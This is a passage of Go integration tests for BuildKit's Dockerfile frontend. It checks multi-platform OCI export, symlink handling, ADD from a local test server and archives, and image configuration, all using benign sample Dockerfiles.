err) require.Equal(t, ""i am amd64"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""linux_arm_v7/whoami"")) require.NoError(t, err) require.Equal(t, ""i am arm"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""linux_s390x/whoami"")) require.NoError(t, err) require.Equal(t, ""i am s390x"", string(dt)) // repeat with oci exporter destDir, err = ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) out := filepath.Join(destDir, ""out.tar"") outW, err := os.Create(out) require.NoError(t, err) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, FrontendAttrs: map[string]string{ ""platform"": ""windows/amd64,linux/arm/v6,linux/ppc64le"", }, Exports: []client.ExportEntry{ { Type: client.ExporterOCI, Output: fixedWriteCloser(outW), }, }, }, nil) require.NoError(t, err) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""out.tar"")) require.NoError(t, err) m, err := testutil.ReadTarToMap(dt, false) require.NoError(t, err) var idx ocispec.Index err = json.Unmarshal(m[""index.json""].Data, &idx) require.NoError(t, err) mlistHex := idx.Manifests[0].Digest.Hex() idx = ocispec.Index{} err = json.Unmarshal(m[""blobs/sha256/""+mlistHex].Data, &idx) require.NoError(t, err) require.Equal(t, 3, len(idx.Manifests)) for i, exp := range []struct { p string os string arch string dt string }{ {p: ""windows/amd64"", os: ""windows"", arch: ""amd64"", dt: ""i am amd64""}, {p: ""linux/arm/v6"", os: ""linux"", arch: ""arm"", dt: ""i am arm""}, {p: ""linux/ppc64le"", os: ""linux"", arch: ""ppc64le"", dt: ""i am ppc64le""}, } { t.Run(exp.p, func(t *testing.T) { require.Equal(t, exp.p, platforms.Format(*idx.Manifests[i].Platform)) var mfst ocispec.Manifest err = json.Unmarshal(m[""blobs/sha256/""+idx.Manifests[i].Digest.Hex()].Data, &mfst) require.NoError(t, err) require.Equal(t, 1, len(mfst.Layers)) m2, err := testutil.ReadTarToMap(m[""blobs/sha256/""+mfst.Layers[0].Digest.Hex()].Data, true) require.NoError(t, err) require.Equal(t, exp.dt, string(m2[""whoami""].Data)) var img ocispec.Image err = json.Unmarshal(m[""blobs/sha256/""+mfst.Config.Digest.Hex()].Data, &img) require.NoError(t, err) require.Equal(t, exp.os, img.OS) require.Equal(t, exp.arch, img.Architecture) v, ok := img.Config.Labels[""target""] require.True(t, ok) require.Equal(t, exp.p, v) }) } } // tonistiigi/fsutil#46 func testContextChangeDirToFile(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM scratch COPY foo / `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateDir(""foo"", 0700), fstest.CreateFile(""foo/bar"", []byte(`contents`), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dir, err = tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(`contents2`), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""foo"")) require.NoError(t, err) require.Equal(t, ""contents2"", string(dt)) } func testNoSnapshotLeak(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM scratch COPY foo / `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(`contents`), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) du, err := c.DiskUsage(context.TODO()) require.NoError(t, err) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) du2, err := c.DiskUsage(context.TODO()) require.NoError(t, err) require.Equal(t, len(du), len(du2)) } // #1197 func testCopyFollowAllSymlinks(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM scratch COPY foo / COPY foo/sub bar `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""bar"", []byte(`bar-contents`), 0600), fstest.CreateDir(""foo"", 0700), fstest.Symlink(""../bar"", ""foo/sub""), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func testCopySymlinks(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM scratch COPY foo / COPY sub/l* alllinks/ `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""bar"", []byte(`bar-contents`), 0600), fstest.Symlink(""bar"", ""foo""), fstest.CreateDir(""sub"", 0700), fstest.CreateFile(""sub/lfile"", []byte(`lfile-contents`), 0600), fstest.Symlink(""subfile"", ""sub/l0""), fstest.CreateFile(""sub/subfile"", []byte(`subfile-contents`), 0600), fstest.Symlink(""second"", ""sub/l1""), fstest.Symlink(""baz"", ""sub/second""), fstest.CreateFile(""sub/baz"", []byte(`baz-contents`), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""foo"")) require.NoError(t, err) require.Equal(t, ""bar-contents"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""alllinks/l0"")) require.NoError(t, err) require.Equal(t, ""subfile-contents"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""alllinks/lfile"")) require.NoError(t, err) require.Equal(t, ""lfile-contents"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""alllinks/l1"")) require.NoError(t, err) require.Equal(t, ""baz-contents"", string(dt)) } func testHTTPDockerfile(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM busybox RUN echo -n ""foo-contents"" > /foo FROM scratch COPY --from=0 /foo /foo `) srcDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(srcDir) err = ioutil.WriteFile(filepath.Join(srcDir, ""Dockerfile""), dockerfile, 0600) require.NoError(t, err) resp := httpserver.Response{ Etag: identity.NewID(), Content: dockerfile, } server := httpserver.NewTestServer(map[string]httpserver.Response{ ""/df"": resp, }) defer server.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""context"": server.URL + ""/df"", ""filename"": ""mydockerfile"", // this is bogus, any name should work }, Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""foo"")) require.NoError(t, err) require.Equal(t, ""foo-contents"", string(dt)) } func testCmdShell(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) cdAddress := sb.ContainerdAddress() if cdAddress == """" { t.Skip(""test is only for containerd worker"") } dockerfile := []byte(` FROM scratch CMD [""test""] `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() target := ""docker.io/moby/cmdoverridetest:latest"" _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterImage, Attrs: map[string]string{ ""name"": target, }, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dockerfile = []byte(` FROM docker.io/moby/cmdoverridetest:latest SHELL [""ls""] ENTRYPOINT my entrypoint `) dir, err = tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) target = ""docker.io/moby/cmdoverridetest2:latest"" _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterImage, Attrs: map[string]string{ ""name"": target, }, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) ctr, err := newContainerd(cdAddress) require.NoError(t, err) defer ctr.Close() ctx := namespaces.WithNamespace(context.Background(), ""buildkit"") img, err := ctr.ImageService().Get(ctx, target) require.NoError(t, err) desc, err := img.Config(ctx, ctr.ContentStore(), platforms.Default()) require.NoError(t, err) dt, err := content.ReadBlob(ctx, ctr.ContentStore(), desc) require.NoError(t, err) var ociimg ocispec.Image err = json.Unmarshal(dt, &ociimg) require.NoError(t, err) require.Equal(t, []string(nil), ociimg.Config.Cmd) require.Equal(t, []string{""ls"", ""my entrypoint""}, ociimg.Config.Entrypoint) } func testPullScratch(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) cdAddress := sb.ContainerdAddress() if cdAddress == """" { t.Skip(""test is only for containerd worker"") } dockerfile := []byte(` FROM scratch LABEL foo=bar `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() target := ""docker.io/moby/testpullscratch:latest"" _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterImage, Attrs: map[string]string{ ""name"": target, }, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dockerfile = []byte(` FROM docker.io/moby/testpullscratch:latest LABEL bar=baz COPY foo . `) dir, err = tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(""foo-contents""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) target = ""docker.io/moby/testpullscratch2:latest"" _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterImage, Attrs: map[string]string{ ""name"": target, }, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) ctr, err := newContainerd(cdAddress) require.NoError(t, err) defer ctr.Close() ctx := namespaces.WithNamespace(context.Background(), ""buildkit"") img, err := ctr.ImageService().Get(ctx, target) require.NoError(t, err) desc, err := img.Config(ctx, ctr.ContentStore(), platforms.Default()) require.NoError(t, err) dt, err := content.ReadBlob(ctx, ctr.ContentStore(), desc) require.NoError(t, err) var ociimg ocispec.Image err = json.Unmarshal(dt, &ociimg) require.NoError(t, err) require.Equal(t, ""layers"", ociimg.RootFS.Type) require.Equal(t, 1, len(ociimg.RootFS.DiffIDs)) v, ok := ociimg.Config.Labels[""foo""] require.True(t, ok) require.Equal(t, ""bar"", v) v, ok = ociimg.Config.Labels[""bar""] require.True(t, ok) require.Equal(t, ""baz"", v) echo := llb.Image(""busybox""). Run(llb.Shlex(`sh -c ""echo -n foo0 > /empty/foo""`)). AddMount(""/empty"", llb.Image(""docker.io/moby/testpullscratch:latest"")) def, err := echo.Marshal(context.TODO()) require.NoError(t, err) destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = c.Solve(context.TODO(), def, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""foo"")) require.NoError(t, err) require.Equal(t, ""foo0"", string(dt)) } func testGlobalArg(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` ARG tag=nosuchtag FROM busybox:${tag} `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:tag"": ""latest"", }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func testDockerfileDirs(t *testing.T, sb integration.Sandbox) { skipDockerd(t, sb) f := getFrontend(t, sb) f.RequiresBuildctl(t) dockerfile := []byte(` FROM busybox COPY foo /foo2 COPY foo / RUN echo -n bar > foo3 RUN test -f foo RUN cmp -s foo foo2 RUN cmp -s foo foo3 `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(""bar""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) args, trace := f.DFCmdArgs(dir, dir) defer os.RemoveAll(trace) cmd := sb.Cmd(args) require.NoError(t, cmd.Run()) _, err = os.Stat(trace) require.NoError(t, err) // relative urls args, trace = f.DFCmdArgs(""."", ""."") defer os.RemoveAll(trace) cmd = sb.Cmd(args) cmd.Dir = dir require.NoError(t, cmd.Run()) _, err = os.Stat(trace) require.NoError(t, err) // different context and dockerfile directories dir1, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir1) dir2, err := tmpdir( fstest.CreateFile(""foo"", []byte(""bar""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir2) args, trace = f.DFCmdArgs(dir2, dir1) defer os.RemoveAll(trace) cmd = sb.Cmd(args) cmd.Dir = dir require.NoError(t, cmd.Run()) _, err = os.Stat(trace) require.NoError(t, err) // TODO: test trace file output, cache hits, logs etc. // TODO: output metadata about original dockerfile command in trace } func testDockerfileInvalidCommand(t *testing.T, sb integration.Sandbox) { skipDockerd(t, sb) f := getFrontend(t, sb) f.RequiresBuildctl(t) dockerfile := []byte(` FROM busybox RUN invalidcmd `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) args, trace := f.DFCmdArgs(dir, dir) defer os.RemoveAll(trace) cmd := sb.Cmd(args) stdout := new(bytes.Buffer) cmd.Stderr = stdout err = cmd.Run() require.Error(t, err) require.Contains(t, stdout.String(), ""/bin/sh -c invalidcmd"") require.Contains(t, stdout.String(), ""executor failed running"") } func testDockerfileADDFromURL(t *testing.T, sb integration.Sandbox) { skipDockerd(t, sb) f := getFrontend(t, sb) f.RequiresBuildctl(t) modTime := time.Now().Add(-24 * time.Hour) // avoid falso positive with current time resp := httpserver.Response{ Etag: identity.NewID(), Content: []byte(""content1""), } resp2 := httpserver.Response{ Etag: identity.NewID(), LastModified: &modTime, Content: []byte(""content2""), } server := httpserver.NewTestServer(map[string]httpserver.Response{ ""/foo"": resp, ""/"": resp2, }) defer server.Close() dockerfile := []byte(fmt.Sprintf(` FROM scratch ADD %s /dest/ `, server.URL+""/foo"")) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) args, trace := f.DFCmdArgs(dir, dir) defer os.RemoveAll(trace) destDir, err := tmpdir() require.NoError(t, err) defer os.RemoveAll(destDir) cmd := sb.Cmd(args + fmt.Sprintf("" --exporter=local --exporter-opt output=%s"", destDir)) err = cmd.Run() require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""dest/foo"")) require.NoError(t, err) require.Equal(t, []byte(""content1""), dt) // test the default properties dockerfile = []byte(fmt.Sprintf(` FROM scratch ADD %s /dest/ `, server.URL+""/"")) dir, err = tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) args, trace = f.DFCmdArgs(dir, dir) defer os.RemoveAll(trace) destDir, err = tmpdir() require.NoError(t, err) defer os.RemoveAll(destDir) cmd = sb.Cmd(args + fmt.Sprintf("" --exporter=local --exporter-opt output=%s"", destDir)) err = cmd.Run() require.NoError(t, err) destFile := filepath.Join(destDir, ""dest/__unnamed__"") dt, err = ioutil.ReadFile(destFile) require.NoError(t, err) require.Equal(t, []byte(""content2""), dt) fi, err := os.Stat(destFile) require.NoError(t, err) require.Equal(t, modTime.Format(http.TimeFormat), fi.ModTime().Format(http.TimeFormat)) } func testDockerfileAddArchive(t *testing.T, sb integration.Sandbox) { skipDockerd(t, sb) f := getFrontend(t, sb) f.RequiresBuildctl(t) buf := bytes.NewBuffer(nil) tw := tar.NewWriter(buf) expectedContent := []byte(""content0"") err := tw.WriteHeader(&tar.Header{ Name: ""foo"", Typeflag: tar.TypeReg, Size: int64(len(expectedContent)), Mode: 0644, }) require.NoError(t, err) _, err = tw.Write(expectedContent) require.NoError(t, err) err = tw.Close() require.NoError(t, err) dockerfile := []byte(` FROM scratch ADD t.tar / `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""t.tar"", buf.Bytes(), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) args, trace := f.DFCmdArgs(dir, dir) defer os.RemoveAll(trace) destDir, err := tmpdir() require.NoError(t, err) defer os.RemoveAll(destDir) cmd := sb.Cmd(args + fmt.Sprintf("" --exporter=local --exporter-opt output=%s"", destDir)) require.NoError(t, cmd.Run()) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""foo"")) require.NoError(t, err) require.Equal(t, expectedContent, dt) // add gzip tar buf2 := bytes.NewBuffer(nil) gz := gzip.NewWriter(buf2) _, err = gz.Write(buf.Bytes()) require.NoError(t, err) err = gz.Close() require.NoError(t, err) dockerfile = []byte(` FROM scratch ADD t.tar.gz / `) dir, err = tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""t.tar.gz"", buf2.Bytes(), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) args, trace = f.DFCmdArgs(dir, dir) defer os.RemoveAll(trace) destDir, err = tmpdir() require.NoError(t, err) defer os.RemoveAll(destDir) cmd = sb.Cmd(args + fmt.Sprintf("" --exporter=local --exporter-opt output=%s"", destDir)) require.NoError(t, cmd.Run()) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""foo"")) require.NoError(t, err) require.Equal(t, expectedContent, dt) // COPY doesn't extract dockerfile = []byte(` FROM scratch COPY t.tar.gz / `) dir, err = tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""t.tar.gz"", buf2.Bytes(), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) args, trace = f.DFCmdArgs(dir, dir) defer os.RemoveAll(trace) destDir, err = tmpdir() require.NoError(t, err) defer os.RemoveAll(destDir) cmd = sb.Cmd(args + fmt.Sprintf("" --exporter=local --exporter-opt output=%s"", destDir)) require.NoError(t, cmd.Run()) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""t.tar.gz"")) require.NoError(t, err) require.Equal(t, buf2.Bytes(), dt) // ADD from URL doesn't extract resp := httpserver.Response{ Etag: identity.NewID(), Content: buf2.Bytes(), } server := httpserver.NewTestServer(map[string]httpserver.Response{ ""/t.tar.gz"": resp, }) defer server.Close() dockerfile = []byte(fmt.Sprintf(` FROM scratch ADD %s / `, server.URL+""/t.tar.gz"")) dir, err = tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) args, trace = f.DFCmdArgs(dir, dir) defer os.RemoveAll(trace) destDir, err = tmpdir() require.NoError(t, err) defer os.RemoveAll(destDir) cmd = sb.Cmd(args + fmt.Sprintf("" --exporter=local --exporter-opt output=%s"", destDir)) require.NoError(t, cmd.Run()) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""t.tar.gz"")) require.NoError(t, err) require.Equal(t, buf2.Bytes(), dt) // https://github.com/moby/buildkit/issues/386 dockerfile = []byte(fmt.Sprintf(` FROM scratch ADD %s /newname.tar.gz `, server.URL+""/t.tar.gz"")) dir, err = tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) args, trace = f.DFCmdArgs(dir, dir) defer os.RemoveAll(trace) destDir, err = tmpdir() require.NoError(t, err) defer os.RemoveAll(destDir) cmd = sb.Cmd(args + fmt.Sprintf("" --exporter=local --exporter-opt output=%s"", destDir)) require.NoError(t, cmd.Run()) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""newname.tar.gz"")) require.NoError(t, err) require.Equal(t, buf2.Bytes(), dt) } func testDockerfileAddArchiveWildcard(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) buf := bytes.NewBuffer(nil) tw := tar.NewWriter(buf) expectedContent := []byte(""content0"") err := tw.WriteHeader(&tar.Header{ Name: ""foo"", Typeflag: tar.TypeReg, Size: int64(len(expectedContent)), Mode: 0644, }) require.NoError(t, err) _, err = tw.Write(expectedContent) require.NoError(t, err) err = tw.Close() require.NoError(t, err) buf2 := bytes.NewBuffer(nil) tw = tar.NewWriter(buf2) expectedContent = []byte(""content1"") err = tw.WriteHeader(&tar.Header{ Name: ""bar"", Typeflag: tar.TypeReg, Size: int64(len(expectedContent)), Mode: 0644, }) require.NoError(t, err) _, err = tw.Write(expectedContent) require.NoError(t, err) err = tw.Close() require.NoError(t, err) dockerfile := []byte(` FROM scratch ADD *.tar /dest `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""t.tar"", buf.Bytes(), 0600), fstest.CreateFile(""b.tar"", buf2.Bytes(), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""dest/foo"")) require.NoError(t, err) require.Equal(t, ""content0"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""dest/bar"")) require.NoError(t, err) require.Equal(t, ""content1"", string(dt)) } func testDockerfileAddChownExpand(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM busybox ARG group ENV owner 1000 ADD --chown=${owner}:${group} foo / RUN [ ""$(stat -c ""%u %G"" /foo)"" == ""1000 nobody"" ] `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(`foo-contents`), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), ""build-arg:group"": ""nobody"", }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func testSymlinkDestination(t *testing.T, sb integration.Sandbox) { skipDockerd(t, sb) f := getFrontend(t, sb) f.RequiresBuildctl(t) buf := bytes.NewBuffer(nil) tw := tar.NewWriter(buf) expectedContent := []byte(""content0"") err := tw.WriteHeader(&tar.Header{ Name: ""symlink"", Typeflag: tar.TypeSymlink, Linkname: ""../tmp/symlink-target"", Mode: 0755, }) require.NoError(t, err) err = tw.Close() require.NoError(t, err) dockerfile := []byte(` FROM scratch ADD t.tar / COPY foo /symlink/ `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", expectedContent, 0600), fstest.CreateFile(""t.tar"", buf.Bytes(), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) args, trace := f.DFCmdArgs(dir, dir) defer os.RemoveAll(trace) destDir, err := tmpdir() require.NoError(t, err) defer os.RemoveAll(destDir) cmd := sb.Cmd(args + fmt.Sprintf("" --exporter=local --exporter-opt output=%s"", destDir)) require.NoError(t, cmd.Run()) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""tmp/symlink-target/foo"")) require.NoError(t, err) require.Equal(t, expectedContent, dt) } func testDockerfileScratchConfig(t *testing.T, sb integration.Sandbox) { cdAddress := sb.ContainerdAddress() if cdAddress == """" { t.Skip(""test requires containerd worker"") } f := getFrontend(t, sb) f.RequiresBuildctl(t) dockerfile := []byte(` FROM scratch ENV foo=bar `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) args, trace := f.DFCmdArgs(dir, dir) defer os.RemoveAll(trace) target := ""example.com/moby/dockerfilescratch:test"" cmd := sb.Cmd(args + "" --exporter=image --exporter-opt=name="" + target) err = cmd.Run() require.NoError(t, err) client, err := newContainerd(cdAddress) require.NoError(t, err) defer client.Close() ctx := namespaces.WithNamespace(context.Background(), ""buildkit"") img, err := client.ImageService().Get(ctx, target) require.NoError(t, err) desc, err := img.Config(ctx, client.ContentStore(), platforms.Default()) require.NoError(t, err) dt, err := content.ReadBlob(ctx, client.ContentStore(), desc) require.NoError(t, err) var ociimg ocispec.Image err = json.Unmarshal(dt, &ociimg) require.NoError(t, err) require.NotEqual(t, """", ociimg.OS) require.NotEqual(t, """", ociimg.Architecture) require.NotEqual(t, """", ociimg.Config.WorkingDir) require.Equal(t, ""layers"", ociimg.RootFS.Type) require.Equal(t, 0, len(ociimg.RootFS.DiffIDs)) require.Equal(t, 1, len(ociimg.History)) require.Contains(t, ociimg.History[0].CreatedBy, ""ENV foo=bar"") require.Equal(t, true, ociimg.History[0].EmptyLayer) require.Contains(t, ociimg.Config.Env, ""foo=bar"") require.Condition(t, func() bool { for _, env := range ociimg.Config.Env { if strings.HasPrefix(env, ""PATH="") { return true } } return false }) } func testExposeExpansion(t *testing.T, sb integration.Sandbox) { skipDockerd(t, sb) f := getFrontend(t, sb) dockerfile := []byte(` FROM scratch ARG PORTS=""3000 4000/udp"" EXPOSE $PORTS EXPOSE 5000 `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() target := ""example.com/moby/dockerfileexpansion:test"" _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterImage, Attrs: map[string]string{ ""name"": target, }, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) cdAddress := sb.ContainerdAddress() if cdAddress == """" { t.Skip(""rest of test requires containerd worker"") } client, err := 